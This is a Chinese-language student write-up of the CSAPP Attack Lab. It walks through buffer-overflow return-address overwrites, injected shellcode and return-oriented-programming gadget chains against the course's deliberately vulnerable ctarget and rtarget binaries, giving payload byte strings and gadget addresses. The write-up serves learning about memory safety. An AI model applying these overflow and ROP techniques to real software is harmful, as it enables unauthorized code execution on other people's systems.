Attack Lab 的主要目的是利用程序中的缓冲区溢出漏洞来实现对系统的攻击。那么如何利用缓冲区漏洞呢?
第一阶段
第一个关卡不要求向程序中注入代码,而是需要输入一个「引爆字符串」来改变程序的运行轨迹,重定向运行另外一个函数。在 ctarget
中,getbuf
被函数 test
调用:
1 | void test() { |
我们希望 getbuf()
在返回后,调用函数 touch1
而不是输出 val 的值。
1 | void touch1() { |
我们具体要做的事情就是把 touch1
的开始地址放到 getbuf
的 ret
指令中,而且需要注意应该使用小端字节序。
首先,我们反汇编 ctarget
:objdump -d ctarget > touch1.s
在 touch1.s 中找到 getbuf
:
1 | 00000000004017a8 <getbuf>: |
我们可以看到,getbuf
将 %rsp
移动了 0x28
也就是 40 字节。这也就意味着,在往上 4 个字节,就是返回到 test
的返回地址。所以,我们就可以利用缓冲区溢出将返回地址修改掉。
现在我们看看 touch1
在哪里:
1 | 00000000004017c0 <touch1>: |
可以看到 touch1
的开始地址在 0x004017c0
,所以我们输入的字符串可以是
1 | 00 00 00 00 |
然后,我们将这个字符文件转换为字节码 ./hex2raw < touch1.txt > touch1_r.txt
,然后执行 ./ctarget -q -i touch1_r.txt
:
通过第一关,我们就学习了通过使用缓冲区溢出来调用另外的函数。
第二阶段
第二阶段要求向程序中注入一小段代码,ctarget
中的 touch2
的 C 语言代码为:
1 | void touch2(unsigned val) { |
我们需要把自己的 cookie 作为参数传入,因为只有一个参数,所以参数应该被放入寄存器 %rdi
,并使用ret
跳转。
我们写好需要注入的汇编代码,首先将 cookie 的值保存到寄存器 %rdi
,然后将 touch2
的地址压入栈中,最后返回:
1 | mov $0x59b997fa,%rdi |
接下来,我们将汇编代码转换为机器码:
1 | gcc -c touch2.s |
touch2.bytes 中的内容为:
1 | touch2.o: file format elf64-x86-64 |
为了执行这段代码,我们需要使用阶段 1 中的方法,跳转到缓冲区的开始位置,去执行我们注入的代码。为了知道缓冲区的起始位置,我们使用 GDB 来调试程序,查看 %rsp
的值。我们在 0x4017b4 处设置断点:
然后查看寄存器信息:
可以看到缓冲区的起始位置为 0x5561dc78。
接下来我们就构造需要的字符串:
1 | 48 c7 c7 fa |
然后,我们使用 ./hex2raw < touch2.txt > touch2_r.txt
生成字节码,然后执行命令 ./ctarget -i touch2_r.txt -q
,就可以看到执行结果:
第三阶段
第三阶段同样要实现代码注入攻击,但是要传入一个额外的字符串。
在 ctarget
中 hexmatch
和 touch3
的 C 语言代码如下:
1 | /* compare string to hex represention of unsigned value */ |
我们需要在引爆字符串中包含自己 cookie 的字符串表示,这个字符串应该是 8 个 16 进制数字,并以 0 为结尾。这个字符串的地址应该被保存在 %rdi
中。当函数 hexmatch
和 strncmp
被调用的时候,他们会把参数保存到栈上,这会覆盖 getbuf
写入的部分内容。所以,我们需要小心引爆字符串的存放位置。
首先将我的 cookie 转换为 字符串形式:
1 | 0x59b997fa -> 35 39 62 39 39 37 66 61 00 |
为了测试 hexmatch
的行为,我们对上一节的字节码稍作修改,将我的 cookie 的字符串表示存储在缓冲区内,并使程序跳转到 touch3
,构造字节码如下:
1 | 48 c7 c7 b8 |
跳转到 touch3
后,我们可以找到调用 hexmatch
的位置,于是可以分别在前后两行设置断点,并观察缓冲区的变化:
1 | 00000000004018fa <touch3>: |
在调用 hexmatch
之前,我们可以看到缓冲区的信息如下:
在调用 hexmatch
之后,我们可以看到缓冲区信息为:
可以看到,缓冲区前三行的内容全部为打乱了,我们保存的字符串信息也被完全破坏了。所以,我们需要为字符串寻找一个新的存放位置。
看到最后一行,0x5561dcb8
之后的位置没有被使用,而且刚好可以存放我们的字符串,所以,抱着试一试的态度,我将字符串目标地址设置为 0x5561dcb8
,并将 cookie 的字符串信息保存到相应位置。
汇编代码为:
1 | mov $0x5561dcb8,%rdi |
构造字符串为:
1 | 48 c7 c7 b8 |
运行程序:
成功!
第四阶段
从第四阶段开始,我们要对 rtarget
进行缓冲区攻击。但是攻击 rtarget
要更加困难,因为它采用了两种方法来防止缓冲区攻击:
- 栈的内容是随机的,每次运行时,栈中内容的地址都不一样。所以我们无法决定应该跳转的地址。
- 栈中代码是不可以执行的,所以即使我们可以跳转到注入代码,程序也会遇到段错误。
幸运的是,我们可以通过执行已有的代码来达到我们的目的,而不是注入新的代码,这种方法被称为 return-oriented-programming
(ROP)。ROP 的策略是在程序中找到指定的字节序列,这些字节序列包含某些指令并以ret
结尾。这样的一个字节序列被称为一个 gadget。
由上图可以看出,栈可以用来设置跳转到 n 个 gadget*,并执行其中的代码。使用这种方式,利用 ret
指令,我们可以运行一连串的 *gadget 并执行其中的代码。
例如下面的代码:
1 | void setval_210(unsigned *p) { |
它对应的汇编代码为:
1 | 0000000000400f15 <setval_210>: |
字节序列 48 89 c7
编码了指令 movq %rax, %rdi
,这个字节序列后面跟着 c3
,也就是 ret
指令,它可以让我们跳入下一个 gadget。那么我们就可以利用字节序列的开始地址 0x400f19
还使用指令。
指令的16进制编码可以在下表中查看:
另外两个指令是:
ret
:字节编码为0xc3
nop
:让程序计数器加一,什么都不做,字节编码为0x90
在终端运行命令 objdump -d rtarget > rtarget.txt
,以寻找目标代码。
现在我们要重复第二阶段的任务:将自己的 cookie 作为参数传入 touch2
。我们需要做三步:
- 将 cookie 传入
%rdi
中 - 将
touch2
地址放入栈中 - 执行
touch2
为了将 cookie 存入 %rdi
,最简单的想法是先将 cookie 存入栈中,再从栈中弹出。但是找不到 popq %rdi
,只找到了 popq %rax
,代码地址为:
1 | 00000000004019a7 <addval_219>: |
所以我们的第一个 gadget 的地址为 0x4019ab
。
后面的动作可以用下面的汇编代码完成:
1 | popq %rax |
其中 movq %rax %edi
的字节码为:48 89 c7 c3
。我们可以在下面的代码中找到:
1 | 00000000004019c3 <setval_426>: |
所以我们第二个 gadget 的地址为 0x4019c5
。
所以我们要构造的文件应该包含三部分,首先是40字节的缓冲区,然后是 gadget1
的地址,cookie,gadget2
的地址,最后是 touch2
的地址。构造 rtarget4.txt 如下:
1 | cc cc cc cc cc cc cc cc cc cc |
我们先生成它的二进制码:.\hex2raw < rtarget4.txt > rtarget4_r.txt
。
然后执行 .\rtarget -i rtarget4_r.txt -q
,得到:
成功。
第五阶段
阶段五的目标和阶段三一样,首先使用 cookie 构造字符串,然后将字符串作为参数传入 touch3
。
首先,我们把 cookie 转换成 ascii 码:
1 | 0x59b997fa -> 35 39 62 39 39 37 66 61 00 |
我们接下来的思路为:
- 获得
%rsp
的地址 - 将(栈的起始地址)+(cookie 的偏移量)放入某个寄存器中
- 将寄存器的值放入
%rdi
中 - 调用
touch3
首先,寻找 movq %rsp, %rax
, 48 89 e0
。
我们可以找到如下代码片段:
1 | 0000000000401aab <setval_350>: |
所以 gadget1
的地址为 0x401aad
。
接下来,我们需要递增 %rax
的地址,我们可以找到:
1 | 00000000004019d6 <add_xy>: |
得 gadget2
的地址为:0x4019d8
。
接下来要将 %rax
的内容移动到 %rdi
中,找到 mov %rax, %rdi
, 48 89 c7
的代码片段:
1 | 00000000004019a0 <addval_273>: |
得到 gadget3
的地址为:0x4019a2
。
最后,攻击文件应该包括:填充区1,gadget1,gadget2,gadget3,touch3的地址,填充区2,cookie。第二个填充区的大小为55(0x37) - 3 * 8 = 31字节。rtarget5.txt
的内容为:
1 | cc cc cc cc cc cc cc cc cc cc |
我们先生成它的二进制码:.\hex2raw < rtarget5.txt > rtarget5_r.txt
。
然后执行 .\rtarget -i rtarget5_r.txt -q
,得到:
成功。
总结
这次实验真的加深了我对内存和缓冲区的理解。以前上专业课,所有的知识都停留在书本上,没有做到学以致用。而这次实验,通过汇编、反汇编的、拼凑内存内容的方式直接和操作系统底层打交道,真的很有趣,但是也很要求精确。
现在看看,我们平时用高级语言写与系统无关的代码是一件多么幸福的事情啊。
我觉得学习操作系统,阅读 CSAPP,就是让我能够站在系统工作原理的粒度上理解代码,理解 C 语言和汇编,这种思考方式和视角才是阅读 CSAPP 和完成这些实验之后,我获得的最大的收获。